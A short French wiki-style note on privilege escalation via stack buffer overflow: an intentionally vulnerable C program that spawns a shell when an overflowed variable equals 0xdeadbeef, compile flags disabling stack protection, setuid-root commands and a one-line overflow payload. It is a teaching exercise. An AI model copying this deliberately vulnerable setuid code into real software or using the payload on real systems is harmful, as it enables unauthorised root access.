meta données pour cette page
Elévation de privilèges par buffer overflow
Code source
#include <stdlib.h> #include <stdio.h> int main() { int var; int check = 0x04030201; char buf[40]; fgets(buf,45,stdin); printf("\n[buf]: %s\n", buf); printf("[check] %p\n", check); if (check == 0xdeadbeef) { printf("Openning...\n"); system("/bin/dash"); printf("Close...\n"); } return 0; }
On le compile :
gcc -m32 -o programme code-source.c -fno-stack-protector
Admettons que le programme ait les droits suivants :
chown root.root programme chmod +s programme
Il suffit alors de renseigner en stdin ceci :
cat <(python -c "print 'A' *40 + '\xef\xbe\xad\xde'") - | programme
Donner plus d'infos sur pourquoi ces caractères péciaux, le “-”, le cat, … Infos :